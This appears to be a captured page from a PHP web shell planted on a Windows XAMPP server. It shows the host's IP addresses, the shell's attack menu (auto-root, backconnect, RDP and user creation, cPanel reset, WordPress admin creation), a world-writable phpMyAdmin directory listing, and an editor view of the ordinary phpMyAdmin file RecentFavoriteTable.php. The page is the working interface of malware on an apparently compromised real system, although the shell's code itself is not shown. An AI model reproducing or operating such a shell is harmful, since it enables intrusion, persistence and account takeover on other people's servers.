Windows NT IZOXMIX7871CBCZ 6.3 build 9600 (Windows Server 2012 R2 Datacenter Edition) AMD64
Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12
: 172.23.17.241 | : 52.15.191.241
Cant Read [ /etc/named.conf ]
8.2.12
Administrator
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
[ C ]
C: /
xampp /
phpMyAdmin /
libraries /
classes /
[ HOME SHELL ]
Name
Size
Permission
Action
Charsets
[ DIR ]
drwxrwxrwx
Command
[ DIR ]
drwxrwxrwx
Config
[ DIR ]
drwxrwxrwx
ConfigStorage
[ DIR ]
drwxrwxrwx
Controllers
[ DIR ]
drwxrwxrwx
Crypto
[ DIR ]
drwxrwxrwx
Database
[ DIR ]
drwxrwxrwx
Dbal
[ DIR ]
drwxrwxrwx
Display
[ DIR ]
drwxrwxrwx
Engines
[ DIR ]
drwxrwxrwx
Exceptions
[ DIR ]
drwxrwxrwx
Export
[ DIR ]
drwxrwxrwx
Gis
[ DIR ]
drwxrwxrwx
Html
[ DIR ]
drwxrwxrwx
Http
[ DIR ]
drwxrwxrwx
Image
[ DIR ]
drwxrwxrwx
Import
[ DIR ]
drwxrwxrwx
Navigation
[ DIR ]
drwxrwxrwx
Partitioning
[ DIR ]
drwxrwxrwx
Plugins
[ DIR ]
drwxrwxrwx
Properties
[ DIR ]
drwxrwxrwx
Providers
[ DIR ]
drwxrwxrwx
Query
[ DIR ]
drwxrwxrwx
Server
[ DIR ]
drwxrwxrwx
Setup
[ DIR ]
drwxrwxrwx
Table
[ DIR ]
drwxrwxrwx
Twig
[ DIR ]
drwxrwxrwx
Utils
[ DIR ]
drwxrwxrwx
WebAuthn
[ DIR ]
drwxrwxrwx
Advisor.php
12.32
KB
-rw-rw-rw-
Bookmark.php
9.19
KB
-rw-rw-rw-
BrowseForeigners.php
10.63
KB
-rw-rw-rw-
Cache.php
1.5
KB
-rw-rw-rw-
Charsets.php
6.82
KB
-rw-rw-rw-
CheckUserPrivileges.php
11.3
KB
-rw-rw-rw-
Common.php
19.4
KB
-rw-rw-rw-
Config.php
41.65
KB
-rw-rw-rw-
Console.php
3.25
KB
-rw-rw-rw-
Core.php
28.91
KB
-rw-rw-rw-
CreateAddField.php
15.83
KB
-rw-rw-rw-
DatabaseInterface.php
71.73
KB
-rw-rw-rw-
DbTableExists.php
2.86
KB
-rw-rw-rw-
Encoding.php
8.41
KB
-rw-rw-rw-
Error.php
13.63
KB
-rw-rw-rw-
ErrorHandler.php
18.63
KB
-rw-rw-rw-
ErrorReport.php
8.99
KB
-rw-rw-rw-
Export.php
45.7
KB
-rw-rw-rw-
FieldMetadata.php
11.11
KB
-rw-rw-rw-
File.php
19.75
KB
-rw-rw-rw-
FileListing.php
2.88
KB
-rw-rw-rw-
FlashMessages.php
1.22
KB
-rw-rw-rw-
Font.php
5.58
KB
-rw-rw-rw-
Footer.php
8.06
KB
-rw-rw-rw-
Git.php
18
KB
-rw-rw-rw-
Header.php
20
KB
-rw-rw-rw-
Import.php
48.72
KB
-rw-rw-rw-
Index.php
14.83
KB
-rw-rw-rw-
IndexColumn.php
4.75
KB
-rw-rw-rw-
InsertEdit.php
89.05
KB
-rw-rw-rw-
InternalRelations.php
17.31
KB
-rw-rw-rw-
IpAllowDeny.php
9.13
KB
-rw-rw-rw-
Language.php
4.47
KB
-rw-rw-rw-
LanguageManager.php
22.74
KB
-rw-rw-rw-
Linter.php
4.99
KB
-rw-rw-rw-
ListAbstract.php
1.67
KB
-rw-rw-rw-
ListDatabase.php
4.11
KB
-rw-rw-rw-
Logging.php
2.69
KB
-rw-rw-rw-
Menu.php
20.4
KB
-rw-rw-rw-
Message.php
18.68
KB
-rw-rw-rw-
Mime.php
918
B
-rw-rw-rw-
Normalization.php
41.53
KB
-rw-rw-rw-
OpenDocument.php
8.62
KB
-rw-rw-rw-
Operations.php
35.11
KB
-rw-rw-rw-
OutputBuffering.php
4.1
KB
-rw-rw-rw-
ParseAnalyze.php
2.34
KB
-rw-rw-rw-
Pdf.php
4.17
KB
-rw-rw-rw-
Plugins.php
21.83
KB
-rw-rw-rw-
Profiling.php
2.16
KB
-rw-rw-rw-
RecentFavoriteTable.php
11.44
KB
-rw-rw-rw-
Replication.php
4.81
KB
-rw-rw-rw-
ReplicationGui.php
21.24
KB
-rw-rw-rw-
ReplicationInfo.php
4.79
KB
-rw-rw-rw-
ResponseRenderer.php
13.5
KB
-rw-rw-rw-
Routing.php
6.55
KB
-rw-rw-rw-
Sanitize.php
11.98
KB
-rw-rw-rw-
SavedSearches.php
11.33
KB
-rw-rw-rw-
Scripts.php
3.74
KB
-rw-rw-rw-
Session.php
8.16
KB
-rw-rw-rw-
Sql.php
64.01
KB
-rw-rw-rw-
SqlQueryForm.php
6.74
KB
-rw-rw-rw-
StorageEngine.php
15.71
KB
-rw-rw-rw-
SystemDatabase.php
3.98
KB
-rw-rw-rw-
Table.php
90.33
KB
-rw-rw-rw-
Template.php
4.5
KB
-rw-rw-rw-
Theme.php
7.32
KB
-rw-rw-rw-
ThemeManager.php
7
KB
-rw-rw-rw-
Tracker.php
30.34
KB
-rw-rw-rw-
Tracking.php
36.11
KB
-rw-rw-rw-
Transformations.php
16.31
KB
-rw-rw-rw-
TwoFactor.php
7.49
KB
-rw-rw-rw-
Types.php
25.85
KB
-rw-rw-rw-
Url.php
10.61
KB
-rw-rw-rw-
UrlRedirector.php
1.74
KB
-rw-rw-rw-
UserPassword.php
6.86
KB
-rw-rw-rw-
UserPreferences.php
10.49
KB
-rw-rw-rw-
Util.php
86.45
KB
-rw-rw-rw-
Version.php
556
B
-rw-rw-rw-
VersionInformation.php
7.3
KB
-rw-rw-rw-
ZipExtension.php
10.33
KB
-rw-rw-rw-
Delete
Unzip
Zip
${this.title}
Close
Code Editor : RecentFavoriteTable.php
<?php /** * Recent and Favorite table list handling */ declare(strict_types=1); namespace PhpMyAdmin; use PhpMyAdmin\ConfigStorage\Relation; use function __; use function array_key_exists; use function array_merge; use function array_pop; use function array_unique; use function array_unshift; use function count; use function is_string; use function json_decode; use function json_encode; use function max; use function md5; use function ucfirst; use const SORT_REGULAR; /** * Handles the recently used and favorite tables. * * @TODO Change the release version in table pma_recent * (#recent in documentation) */ class RecentFavoriteTable { /** @var Template */ public $template; /** * Reference to session variable containing recently used or favorite tables. * * @var array */ private $tables; /** * Defines type of action, Favorite or Recent table. * * @var string */ private $tableType; /** * RecentFavoriteTable instances. * * @var array<string,RecentFavoriteTable> */ private static $instances = []; /** @var Relation */ private $relation; /** * Creates a new instance of RecentFavoriteTable * * @param Template $template Template object * @param string $type the table type */ private function __construct(Template $template, string $type) { $this->template = $template; global $dbi; $this->relation = new Relation($dbi); $this->tableType = $type; $server_id = $GLOBALS['server']; if (! isset($_SESSION['tmpval'][$this->tableType . 'Tables'][$server_id])) { $_SESSION['tmpval'][$this->tableType . 'Tables'][$server_id] = $this->getPmaTable() ? $this->getFromDb() : []; } $this->tables =& $_SESSION['tmpval'][$this->tableType . 'Tables'][$server_id]; } /** * Returns class instance. * * @param string $type the table type * @psalm-param 'favorite'|'recent' $type */ public static function getInstance(string $type): RecentFavoriteTable { if (! array_key_exists($type, self::$instances)) { $template = new Template(); self::$instances[$type] = new RecentFavoriteTable($template, $type); } return self::$instances[$type]; } /** * Returns the recent/favorite tables array * * @return array */ public function getTables() { return $this->tables; } /** * Returns recently used tables or favorite from phpMyAdmin database. * * @return array */ public function getFromDb(): array { global $dbi; // Read from phpMyAdmin database, if recent tables is not in session $sql_query = ' SELECT `tables` FROM ' . $this->getPmaTable() . " WHERE `username` = '" . $dbi->escapeString($GLOBALS['cfg']['Server']['user']) . "'"; $result = $dbi->tryQueryAsControlUser($sql_query); if ($result) { $value = $result->fetchValue(); if (is_string($value)) { return json_decode($value, true); } } return []; } /** * Save recent/favorite tables into phpMyAdmin database. * * @return true|Message */ public function saveToDb() { global $dbi; $username = $GLOBALS['cfg']['Server']['user']; $sql_query = ' REPLACE INTO ' . $this->getPmaTable() . ' (`username`, `tables`)' . " VALUES ('" . $dbi->escapeString($username) . "', '" . $dbi->escapeString( json_encode($this->tables) ) . "')"; $success = $dbi->tryQuery($sql_query, DatabaseInterface::CONNECT_CONTROL); if (! $success) { $error_msg = ''; switch ($this->tableType) { case 'recent': $error_msg = __('Could not save recent table!'); break; case 'favorite': $error_msg = __('Could not save favorite table!'); break; } $message = Message::error($error_msg); $message->addMessage( Message::rawError($dbi->getError(DatabaseInterface::CONNECT_CONTROL)), '<br><br>' ); return $message; } return true; } /** * Trim recent.favorite table according to the * NumRecentTables/NumFavoriteTables configuration. */ public function trim(): bool { $max = max( $GLOBALS['cfg']['Num' . ucfirst($this->tableType) . 'Tables'], 0 ); $trimmingOccurred = count($this->tables) > $max; while (count($this->tables) > $max) { array_pop($this->tables); } return $trimmingOccurred; } /** * Return HTML ul. */ public function getHtmlList(): string { if (count($this->tables)) { if ($this->tableType === 'recent') { $tables = []; foreach ($this->tables as $table) { $tables[] = [ 'db' => $table['db'], 'table' => $table['table'], ]; } return $this->template->render('recent_favorite_table_recent', ['tables' => $tables]); } $tables = []; foreach ($this->tables as $table) { $removeParameters = [ 'db' => $table['db'], 'ajax_request' => true, 'favorite_table' => $table['table'], 'remove_favorite' => true, ]; $tableParameters = [ 'db' => $table['db'], 'table' => $table['table'], 'md5' => md5($table['db'] . '.' . $table['table']), ]; $tables[] = [ 'remove_parameters' => $removeParameters, 'table_parameters' => $tableParameters, ]; } return $this->template->render('recent_favorite_table_favorite', ['tables' => $tables]); } return $this->template->render('recent_favorite_table_no_tables', [ 'is_recent' => $this->tableType === 'recent', ]); } public function getHtml(): string { $html = '<div class="drop_list">'; if ($this->tableType === 'recent') { $html .= '<button title="' . __('Recent tables') . '" class="drop_button btn">' . __('Recent') . '</button><ul id="pma_recent_list">'; } else { $html .= '<button title="' . __('Favorite tables') . '" class="drop_button btn">' . __('Favorites') . '</button><ul id="pma_favorite_list">'; } $html .= $this->getHtmlList(); $html .= '</ul></div>'; return $html; } /** * Add recently used or favorite tables. * * @param string $db database name where the table is located * @param string $table table name * * @return true|Message True if success, Message if not */ public function add($db, $table) { global $dbi; // If table does not exist, do not add._getPmaTable() if (! $dbi->getColumns($db, $table)) { return true; } $table_arr = []; $table_arr['db'] = $db; $table_arr['table'] = $table; // add only if this is new table if (! isset($this->tables[0]) || $this->tables[0] != $table_arr) { array_unshift($this->tables, $table_arr); $this->tables = array_merge(array_unique($this->tables, SORT_REGULAR)); $this->trim(); if ($this->getPmaTable()) { return $this->saveToDb(); } } return true; } /** * Removes recent/favorite tables that don't exist. * * @param string $db database * @param string $table table * * @return bool|Message True if invalid and removed, False if not invalid, * Message if error while removing */ public function removeIfInvalid($db, $table) { global $dbi; foreach ($this->tables as $tbl) { if ($tbl['db'] != $db || $tbl['table'] != $table) { continue; } // TODO Figure out a better way to find the existence of a table if (! $dbi->getColumns($tbl['db'], $tbl['table'])) { return $this->remove($tbl['db'], $tbl['table']); } } return false; } /** * Remove favorite tables. * * @param string $db database name where the table is located * @param string $table table name * * @return true|Message True if success, Message if not */ public function remove($db, $table) { foreach ($this->tables as $key => $value) { if ($value['db'] != $db || $value['table'] != $table) { continue; } unset($this->tables[$key]); } if ($this->getPmaTable()) { return $this->saveToDb(); } return true; } /** * Generate Html for sync Favorite tables anchor. (from localStorage to pmadb) */ public function getHtmlSyncFavoriteTables(): string { $retval = ''; $server_id = $GLOBALS['server']; if ($server_id == 0) { return ''; } $relationParameters = $this->relation->getRelationParameters(); // Not to show this once list is synchronized. if ( $relationParameters->favoriteTablesFeature !== null && ! isset($_SESSION['tmpval']['favorites_synced'][$server_id]) ) { $url = Url::getFromRoute('/database/structure/favorite-table', [ 'ajax_request' => true, 'favorite_table' => true, 'sync_favorite_tables' => true, ]); $retval = '<a class="hide" id="sync_favorite_tables"'; $retval .= ' href="' . $url . '"></a>'; } return $retval; } /** * Generate Html to update recent tables. */ public static function getHtmlUpdateRecentTables(): string { return '<a class="hide" id="update_recent_tables" href="' . Url::getFromRoute('/recent-table', [ 'ajax_request' => true, 'recent_table' => true, ]) . '"></a>'; } /** * Return the name of the configuration storage table * * @return string|null pma table name */ private function getPmaTable(): ?string { $relationParameters = $this->relation->getRelationParameters(); if ($this->tableType === 'recent' && $relationParameters->recentlyUsedTablesFeature !== null) { return Util::backquote($relationParameters->recentlyUsedTablesFeature->database) . '.' . Util::backquote($relationParameters->recentlyUsedTablesFeature->recent); } if ($this->tableType === 'favorite' && $relationParameters->favoriteTablesFeature !== null) { return Util::backquote($relationParameters->favoriteTablesFeature->database) . '.' . Util::backquote($relationParameters->favoriteTablesFeature->favorite); } return null; } }
Close